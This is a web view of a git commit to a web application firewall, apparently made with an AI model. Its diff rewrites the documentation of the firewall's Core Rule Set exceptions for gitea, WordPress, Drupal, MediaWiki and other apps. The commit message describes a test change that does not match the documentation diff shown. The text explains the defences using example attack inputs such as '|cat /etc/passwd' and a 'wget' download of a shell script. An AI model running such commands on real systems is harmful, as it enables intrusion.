Author SHA1 Message Date
sneak dfff415ab8 Core Rule Set tests: inspect bodiless recorded requests once (closes #281)
check / check (push) Failing after 6m49s
wantRecordedRequestsPass inspects a recorded request with no body only at
the defaults, as the WordPress test already does. With no body to read, the
second inspection ran the same rules on the same request. Requests with a
body are still inspected both ways. This cuts the package's CPU time under
-race by about a fifth.

Model: opus-5-5
2026-11-10 07:36:36 +00:00
22 changed files with 405 additions and 3263 deletions

No files matched your search

+19 -27
View File
@@ -221,7 +221,7 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default: Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. | | `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
@@ -280,7 +280,6 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -582,31 +581,24 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the front of a code forge, bodies carry what people write and publish, which the
rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary - `smallwebwaf` changes the Core Rule Set in thirteen ways so that ordinary
requests to a code forge through, such as git over HTTP and sign-in through requests get through to the apps listed below. No setting undoes the changes;
Git Credential Manager. No setting undoes the changes; "Attack detection" in "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
[`SPEC.md`](SPEC.md) lists them. - These apps work out of the box at the default settings, and their recorded
- Each supported app also has its own fixes, which let its ordinary requests ordinary requests pass the Core Rule Set:
through. Its recorded ordinary requests pass the Core Rule Set at the default - gitea: git over HTTP and sign-in through Git Credential Manager get
settings. The supported apps, by their names in `SWW_APPS`, are: through. On gitea's own paths, its searches, file names and branch names
- `gitea`, whose fixes let its searches, file names and branch names do too.
through; - WordPress: saving a post from the block editor gets through. On
- `wordpress`, whose fixes let through its searches, its names, its file WordPress's own paths, its searches, names and file names do too.
names and a post saved from the block editor; - Drupal: on Drupal's own paths, the page to return to, its searches and its
- `drupal`, whose fixes let through the page to return to, its searches and names get through.
its names; - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
- `mediawiki`, whose fixes let through its searches, its page titles, its wikitext get through.
names and its wikitext; - Mastodon: on Mastodon's own paths, its searches, names, email addresses,
- `mastodon`, whose fixes let through its searches, its names, its email posts and deliveries from other servers get through.
addresses, its posts and deliveries from other servers; - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
- `vaultwarden`, whose fixes let through its names, its password hints, its addresses and encrypted file names get through.
email addresses and its encrypted file names;
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes, and a hostname it does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths. fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
+224 -331
View File
@@ -81,8 +81,8 @@ to them.
of bans is full. of bans is full.
- `internal/rules`: reads the rule files at start and again when they - `internal/rules`: reads the rule files at start and again when they
change, and tells which rules a request matches. change, and tells which rules a request matches.
- `internal/coreruleset`: the Core Rule Set, with the six changes and the - `internal/coreruleset`: the Core Rule Set, with the thirteen changes
apps' fixes listed under "Attack detection", as Coraza directives. listed under "Attack detection", as Coraza directives.
- `internal/lookup`: looks clients up through GeoJS or in the lookup - `internal/lookup`: looks clients up through GeoJS or in the lookup
database. database.
- `internal/reputation`: fetches the lists, asks the DNS blocklists and - `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
Coraza directives. An exclusion switches one rule off for some fields or paths Coraza directives. An exclusion switches one rule off for some fields or paths
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
holds an app's own exclusions; the apps' fixes below hold those of each app holds an app's own exclusions. The eighth to thirteenth changes below hold
`SWW_APPS` takes. those of the apps they name.
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and - `discriminator` loads the file after `smallwebwaf`'s own setup rules and
before the Core Rule Set's rules. The Core Rule Set loads its own before the Core Rule Set's rules. The Core Rule Set loads its own
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point. `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
@@ -723,83 +723,35 @@ files, the limits and the bans still apply to the client that sends it.
scanner from an ordinary client. In front of a code forge, registry and git scanner from an ordinary client. In front of a code forge, registry and git
clients get `404` and `401` by design, hundreds of times a minute. clients get `404` and `401` by design, hundreds of times a minute.
`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of `smallwebwaf` changes the Core Rule Set 4.25.0 in thirteen ways. Without them,
gitea it would otherwise refuse ordinary requests. The changes hold in front of it would refuse ordinary requests to these apps:
every app, and no setting undoes them:
- gitea;
- WordPress;
- Drupal;
- MediaWiki;
- Mastodon;
- Vaultwarden.
The changes hold in front of every app, and no setting undoes them:
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST` 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
and `OPTIONS`. APIs, container image pushes and package uploads use them. and `OPTIONS`. APIs, container image pushes and package uploads use them.
Other methods stay refused, except on Nextcloud's WebDAV paths, where Other methods stay refused.
Nextcloud's fixes allow the WebDAV methods Nextcloud uses.
2. The request header `Expect` is allowed, since curl and git send it before 2. The request header `Expect` is allowed, since curl and git send it before
some large uploads. `Content-Encoding` is allowed on a request whose body the some large uploads. `Content-Encoding` is allowed on a request whose body the
Core Rule Set does not read, which by default is every request. git Core Rule Set does not read, which by default is every request. git
compresses a fetch request over 1 KiB and says so in that header. On a body compresses a fetch request over 1 KiB and says so in that header. On a body
the Core Rule Set does read, the header stays refused, since a compressed the Core Rule Set does read, the header stays refused, since a compressed
body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused body cannot be inspected. The other headers the Core Rule Set refuses, such
too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose as `Proxy`, stay refused.
body Nextcloud's fixes leave unread. The other headers the Core Rule Set
refuses, such as `Proxy`, stay refused.
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
and tea, which gitea registers for OAuth sign-in, ask to be sent back to and tea, which gitea registers for OAuth sign-in, ask to be sent back to
`http://127.0.0.1` on the user's own machine. The server never fetches that `http://127.0.0.1` on the user's own machine. The server never fetches that
address. address.
4. `Referer` is not checked for a Unix command given without arguments (932340), 4. Ten query parameters are not checked against the Core Rule Set's lists of
for Java starting a process (944110) or for a Java class name (944130). system files (930120), shell paths (932160) and command names (932260):
`Referer` names the page a request comes from, on everything that page loads
and on every link followed from it. The Core Rule Set takes some page
addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the other
rules, except after some gitea searches (gitea's fixes). An app that passes
`Referer` to a shell must check it itself.
5. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
6. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
Each supported app also has its own fixes, which let its ordinary requests
through. `SWW_APPS` says which hostnames get which app's fixes:
- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon,
then one or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The request's `Host` is matched by exact name, without its port and without
regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in full.
Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes hold for every hostname. An app's fixes then weaken
the check of any other app that serves the same paths or fields.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
Each app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and
one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
1. Ten query parameters are not checked against the Core Rule Set's lists of
system files (930120), shell paths (932160) and command names (932260), on
any path:
- `path`, `files`, `skip-to` and `sub_path`; - `path`, `files`, `skip-to` and `sub_path`;
- `ref`, `sha`, `branch` and `workflow`; - `ref`, `sha`, `branch` and `workflow`;
- `artifactName` and `redirect_to`. - `artifactName` and `redirect_to`.
@@ -811,19 +763,43 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
or `docker-build`. In these parameters, what only these three rules would or `docker-build`. In these parameters, what only these three rules would
catch reaches the app, such as the command `|cat /etc/passwd`. Path catch reaches the app, such as the command `|cat /etc/passwd`. Path
traversal, SQL and script injection, and PHP, Java and Node.js code are traversal, SQL and script injection, and PHP, Java and Node.js code are
still refused there. Other parameters keep all three rules, except on the still refused there. Other parameters keep all three rules. The eighth to
paths named in gitea's third fix and in the other apps' fixes. thirteenth changes switch some of them off for some fields on the paths of
gitea, WordPress, Drupal, MediaWiki, Mastodon and Vaultwarden. An app that
uses one of these parameters as a file on the server, or passes it to a
shell, must check the value itself. A rule file can refuse it instead.
2. The Core Rule Set reads the request without the `gitea_flash` and 5. Two cookies are left out, and `Referer` keeps fewer rules:
- The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies. gitea puts a message naming what was just done into `redirect_to` cookies. gitea puts a message naming what was just done into
`gitea_flash`. It puts into `redirect_to` the page to return to after signing `gitea_flash`. It puts into `redirect_to` the page to return to after
in. The Core Rule Set takes file names in them, such as `package.json`, for signing in. The Core Rule Set takes file names in them, such as
attacks. A browser sends such a cookie with every request until gitea `package.json`, for attacks. A browser sends such a cookie with every
replaces it. gitea cannot replace it while those requests are refused, so one request until gitea replaces it. gitea cannot replace it while those
refusal would keep the browser out of the whole site. gitea shows the message requests are refused, so one refusal would keep the browser out of the
with any script removed and returns only to its own pages. Every other cookie whole site. gitea shows the message with any script removed and returns
is read in full. only to its own pages. Every other cookie is read in full. An app that
3. On gitea's paths, some fields skip the rules that refused ordinary gitea reads a cookie of either name must check it itself.
- `Referer` is not checked for a Unix command given without arguments
(932340), for Java starting a process (944110) or for a Java class name
(944130). `Referer` names the page a request comes from, on everything
that page loads and on every link followed from it. The Core Rule Set
takes some page addresses for attacks:
- a search for `env`;
- OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
- a file named `java.lang.String.md`.
Every request from such a page would be refused. `Referer` keeps the
other rules, except after some gitea searches (the eighth change). An
app that passes `Referer` to a shell must check it itself.
6. Responses are not inspected. A raw file from a repository, such as a shell
script, looks to the response rules like source code leaking from the server.
7. The `from` parameter of a container registry's upload path,
`/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
a push reuses a layer, `from` names the image the layer comes from. An image
such as `owner/python3-app` would have that push refused.
8. On gitea's paths, some fields skip the rules that refused ordinary gitea
requests there. They are the fields where gitea sends a search, a file name requests there. They are the fields where gitea sends a search, a file name
or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
request it refused. The fields are: request it refused. The fields are:
@@ -841,7 +817,8 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- packages. - packages.
A user's or an organisation's page is any path of one segment, so on A user's or an organisation's page is any path of one segment, so on
every such path `q` skips these three rules, for example on `/search`. every such path, on any app, `q` skips these three rules, for example on
`/search`.
Some of these searches also skip the rule for Java class names (944130), Some of these searches also skip the rule for Java class names (944130),
which refused `org.apache.commons.logging`. which refused `org.apache.commons.logging`.
@@ -879,41 +856,43 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
`actions/upload-artifact@v3` (920450). `actions/upload-artifact@v3` (920450).
Elsewhere these fields keep every rule. The paths are those of gitea at the Elsewhere these fields keep every rule. The paths are those of gitea at the
site root. site root. An app other than gitea that serves one of them must check these
fields itself.
WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists
each rule and the request it refused. The REST API has four addresses:
9. On WordPress's paths, some fields skip the rules that refused ordinary
WordPress requests there. `internal/coreruleset/wordpress.conf` lists each
rule and the request it refused. The REST API has four addresses:
- `/wp-json/...` - `/wp-json/...`
- `/index.php/wp-json/...` - `/index.php/wp-json/...`
- `/index.php?rest_route=/...` - `/index.php?rest_route=/...`
- `/?rest_route=/...` - `/?rest_route=/...`
The fields are: The fields are:
- The header `X-HTTP-Method-Override` on any address of the REST API
- The header `X-HTTP-Method-Override` on any address of the REST API (920450). (920450). The block editor saves a post with `POST` and names `PUT` in
The block editor saves a post with `POST` and names `PUT` in this header. this header.
- Three groups of fields skip the rules on system files and commands (930120, - Three groups of fields skip the rules on system files and commands
932120, 932250, 932260). The fields hold searches, names and addresses of (930120, 932120, 932250, 932260). The fields hold searches, names and
WordPress's own pages, and any of them can hold any word. The groups are: addresses of WordPress's own pages, and any of them can hold any word. The
groups are:
- On all of `/wp-admin/` and on `/wp-login.php`: - On all of `/wp-admin/` and on `/wp-login.php`:
- the searches `s`, `search`, `q` and `term`; - the searches `s`, `search`, `q` and `term`;
- the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
`stylesheet`; and `stylesheet`;
- the name of a plugin's settings page in `page`; - the name of a plugin's settings page in `page`;
- the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and - the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
`_wp_http_referer`. and `_wp_http_referer`.
- On every REST API route under `/wp/v2/` and on the route - On every REST API route under `/wp/v2/` and on the route
`/oembed/1.0/embed`: `search`, `term`, `slug` and `url`. `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
- On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`. - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and
`tag`.
The addresses of the first group also skip the rule on Unix commands The addresses of the first group also skip the rule on Unix commands
(932235), because an address repeats the search it came from. The other (932235), because an address repeats the search it came from. The other
fields of the groups keep that rule. fields of the groups keep that rule.
- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of - On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
PowerShell commands and command names (932120, 932260): of PowerShell commands and command names (932120, 932260):
- the name of a template in `p` and `postId` of the site editor; - the name of a template in `p` and `postId` of the site editor;
- the name of a plugin to install in `slug`. - the name of a plugin to install in `slug`.
@@ -921,40 +900,42 @@ The fields are:
- `url` on the REST API routes `/wp-block-editor/v1/url-details` and - `url` on the REST API routes `/wp-block-editor/v1/url-details` and
`/oembed/1.0/proxy`, for the lists of system files and PowerShell commands `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
(930120, 932120). The block editor's link previews and embeds send an address (930120, 932120). The block editor's link previews and embeds send an
in this field. address in this field.
- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without - `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
arguments (932340). The media list's own address ends in `&ps`. without arguments (932340). The media list's own address ends in `&ps`.
- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for - `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
the lists of system files, shell paths, command names and JavaScript names for the lists of system files, shell paths, command names and JavaScript
(930120, 932120, 932160, 932260, 941180). names (930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter of - These fields of a body. Each applies only when the query has no parameter
that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set: of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
- `content` of a post, a page, a template or a template part saved through - `content` of a post, a page, a template or a template part saved
the REST API. It holds HTML and any code it shows. through the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`. - `content` of a reply to a comment sent to `admin-ajax.php`.
- `newcontent` of a plugin's or a theme's file saved from its editor, which - `newcontent` of a plugin's or a theme's file saved from its editor,
is PHP. which is PHP.
- `pwd` when signing in, for the list of system files (930120). - `pwd` when signing in, for the list of system files (930120).
- `title`, `excerpt` and `name` in a JSON body sent to any REST API route - `title`, `excerpt` and `name` in a JSON body sent to any REST API
under `/wp/v2/`, for the rules on system files and commands (930120, route under `/wp/v2/`, for the rules on system files and commands
932120, 932250, 932260). (930120, 932120, 932250, 932260).
- `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
lists of PowerShell commands and command names (932120, 932260). the lists of PowerShell commands and command names (932120, 932260).
- `url` on `/wp-comments-post.php`, the address of a commenter's site, for - `url` on `/wp-comments-post.php`, the address of a commenter's site,
the lists of system files and PowerShell commands (930120, 932120). for the lists of system files and PowerShell commands (930120,
932120).
Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at Elsewhere this change does not apply. The paths are those of WordPress at
the site root. the site root. An app other than WordPress that serves one of them must
check these fields itself.
Drupal's fixes: on Drupal's paths, some fields skip the rules that refused 10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal
ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each requests there. `internal/coreruleset/drupal.conf` lists each rule and the
rule and the request it refused. These query fields skip the lists of system request it refused. These query fields skip the lists of system files and
files and command names (930120, 932120, 932250, 932260): command names (930120, 932120, 932250, 932260):
- On every page under `/admin`: `title`, `name`, `user`, `filename`,
- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`, `filemime`, `info`, `subject`, `author_name`, `search`, `q` and
`info`, `subject`, `author_name`, `search`, `q` and `destination`. `destination`.
- `destination` on the pages Drupal links to with one, such as these: - `destination` on the pages Drupal links to with one, such as these:
- `/node/1/edit`; - `/node/1/edit`;
- `/user/login`; - `/user/login`;
@@ -967,16 +948,16 @@ files and command names (930120, 932120, 932250, 932260):
- `/ckeditor5/{editor}/entity-link-suggestions`; - `/ckeditor5/{editor}/entity-link-suggestions`;
- `/block-category/autocomplete`. - `/block-category/autocomplete`.
- Every `filter[...]` field on `/jsonapi/`. - Every `filter[...]` field on `/jsonapi/`.
- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query - `name` on `/user/password`, `/media-library` and `/views/ajax`, in the
or a body. query or a body.
`destination` also skips 932230 and 932235, because it holds the address of a `destination` also skips 932230 and 932235, because it holds the address of
page of results. `url` on `/media/oembed`, the address of a video, skips only a page of results. `url` on `/media/oembed`, the address of a video, skips
930120 and 932120. only 930120 and 932120.
These fields of a body skip the rules that refused them: These fields of a body skip the rules that refused them:
- On the node, comment and media forms, for 930120, 932120, 932250 and
- On the node, comment and media forms, for 930120, 932120, 932250 and 932260: 932260:
- the title; - the title;
- the summary; - the summary;
- the tags; - the tags;
@@ -999,32 +980,32 @@ These fields of a body skip the rules that refused them:
- `description.value`. - `description.value`.
- The title saved through Drupal's JSON format on `/node/{id}`, for the same - The title saved through Drupal's JSON format on `/node/{id}`, for the same
four rules. four rules.
- The body and comment body on the node and comment forms and through JSON:API, - The body and comment body on the node and comment forms and through
which hold HTML and any code it shows. JSON:API, which hold HTML and any code it shows.
- `name` and `pass` when signing in (930120, 932120, 932250, 932260). - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
- `name` when resetting a password through Drupal's JSON format on - `name` when resetting a password through Drupal's JSON format on
`/user/password`, for the same four rules. `/user/password`, for the same four rules.
- `mail` in that same reset, for 932120 and 932260 only. - `mail` in that same reset, for 932120 and 932260 only.
- `name` when signing up, editing an account and commenting without an account, - `name` when signing up, editing an account and commenting without an
for the same four rules. account, for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only. - `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
when the query has a parameter of the same name. when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is any site root, with or without a language prefix such as `/fr`. Such a prefix is
first path segment of two or three lowercase letters, optionally followed by a any first path segment of two or three lowercase letters, optionally
hyphen and more letters, so `/api` counts too. followed by a hyphen and more letters, so `/api` counts too. An app other
than Drupal that serves one of them must check these fields itself.
MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused 11. On MediaWiki's paths, some fields skip the rules that refused ordinary
ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists each
each rule and the request it refused. These fields skip the lists of system rule and the request it refused. These fields skip the lists of system files
files and command names (930120, 932120, 932250, 932260), in the query or the and command names (930120, 932120, 932250, 932260), in the query or the
body: body:
- On MediaWiki's pages, which are `/index.php` and the paths under
- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/` `/index.php/` and `/wiki/`:
and `/wiki/`:
- the searches `search` and `ilsearch`; - the searches `search` and `ilsearch`;
- the titles `title`, `page` and `target`; - the titles `title`, `page` and `target`;
- `from`, `to` and `prefix`, which limit a list of pages; - `from`, `to` and `prefix`, which limit a list of pages;
@@ -1036,12 +1017,12 @@ body:
- the searches `search`, `srsearch` and `pssearch`; - the searches `search`, `srsearch` and `pssearch`;
- the titles `titles`, `title`, `page` and `bltitle`; - the titles `titles`, `title`, `page` and `bltitle`;
- `from` and `to`, the titles of a page being moved; - `from` and `to`, the titles of a page being moved;
- the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`, - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
`aufrom` and `auprefix`; `aiprefix`, `aufrom` and `auprefix`;
- `letitle`, the page whose log is listed; - `letitle`, the page whose log is listed;
- `euquery`, an address; - `euquery`, an address;
- the fields a generator sends in place of the fields above, each with a `g` - the fields a generator sends in place of the fields above, each with a
in front: `g` in front:
- `gsrsearch` and `gpssearch`; - `gsrsearch` and `gpssearch`;
- `gapfrom`, `gapto` and `gapprefix`; - `gapfrom`, `gapto` and `gapprefix`;
- `gaifrom` and `gaiprefix`; - `gaifrom` and `gaiprefix`;
@@ -1052,32 +1033,32 @@ body:
- `lgname`, `lgpassword`, `username` and `password`, for signing in. - `lgname`, `lgpassword`, `username` and `password`, for signing in.
- `q` on `/rest.php/` and the paths under it. - `q` on `/rest.php/` and the paths under it.
`modules` on `/load.php` skips 930120 alone, because it lists the scripts and `modules` on `/load.php` skips 930120 alone, because it lists the scripts
styles a page loads. and styles a page loads.
These fields of a body skip the rules that refused them: These fields of a body skip the rules that refused them:
- On MediaWiki's pages, for the same four rules: - On MediaWiki's pages, for the same four rules:
- `wpSummary`, the summary of an edit; - `wpSummary`, the summary of an edit;
- `wpUploadDescription`, the description of an uploaded file; - `wpUploadDescription`, the description of an uploaded file;
- `wpName` and `wpPassword`, for signing in; - `wpName` and `wpPassword`, for signing in;
- `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page. - `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
- `comment` in the JSON body of `/rest.php/`, for the same four rules. - `comment` in the JSON body of `/rest.php/`, for the same four rules.
- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin - On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the
pages: admin pages:
- `wpReason-other`, for blocking a user; - `wpReason-other`, for blocking a user;
- `user-reason`, for changing a user's groups; - `user-reason`, for changing a user's groups;
- `mwProtect-reason`, for protecting a page. - `mwProtect-reason`, for protecting a page.
- On MediaWiki's pages, `wpTitles`, the list of watched pages that - On MediaWiki's pages, `wpTitles`, the list of watched pages that
`Special:EditWatchlist/raw` sends, one title per line. It always skips 930120, `Special:EditWatchlist/raw` sends, one title per line. It always skips
932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a 932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
command name, such as `Python3 notes`, passes. So does a command alone on a starting with a command name, such as `Python3 notes`, passes. So does a
line, such as `wget http://example.com/x.sh`. A command such as command alone on a line, such as `wget http://example.com/x.sh`. A command
`; wget http://example.com/x.sh` is still refused. So is a list that mixes a such as `; wget http://example.com/x.sh` is still refused. So is a list
title holding one of these characters with a title starting with a command that mixes a title holding one of these characters with a title starting
name. with a command name.
- The wikitext of a page, which holds templates, tables and any code it shows: - The wikitext of a page, which holds templates, tables and any code it
shows:
- `wpTextbox1` on MediaWiki's pages; - `wpTextbox1` on MediaWiki's pages;
- `text`, `appendtext` and `prependtext` on `/api.php`; - `text`, `appendtext` and `prependtext` on `/api.php`;
- `source` in the JSON body of `/rest.php/`. - `source` in the JSON body of `/rest.php/`.
@@ -1085,35 +1066,34 @@ These fields of a body skip the rules that refused them:
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name. applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`, The names of uploaded files skip 932180 on MediaWiki's pages and on
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a `/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded.
file whose extension it does not allow. MediaWiki refuses a file whose extension it does not allow.
`/index.php` itself counts as MediaWiki's only when its query has a `title`, as `/index.php` itself counts as MediaWiki's only when its query has a `title`,
in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki as in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A
without short URLs serves its pages under `/index.php/`, as in wiki without short URLs serves its pages under `/index.php/`, as in
`/index.php/Main_Page`, and its sign-in and upload forms post there. `/index.php/Main_Page`, and its sign-in and upload forms post there.
Elsewhere these fields keep every rule. The paths are those of MediaWiki at the Elsewhere these fields keep every rule. The paths are those of MediaWiki at
site root or under `/w/`. the site root or under `/w/`. An app other than MediaWiki that serves one of
them must check these fields itself.
Mastodon's fixes: on Mastodon's paths, some fields skip the rules that refused
ordinary Mastodon requests there. `internal/coreruleset/mastodon.conf` lists
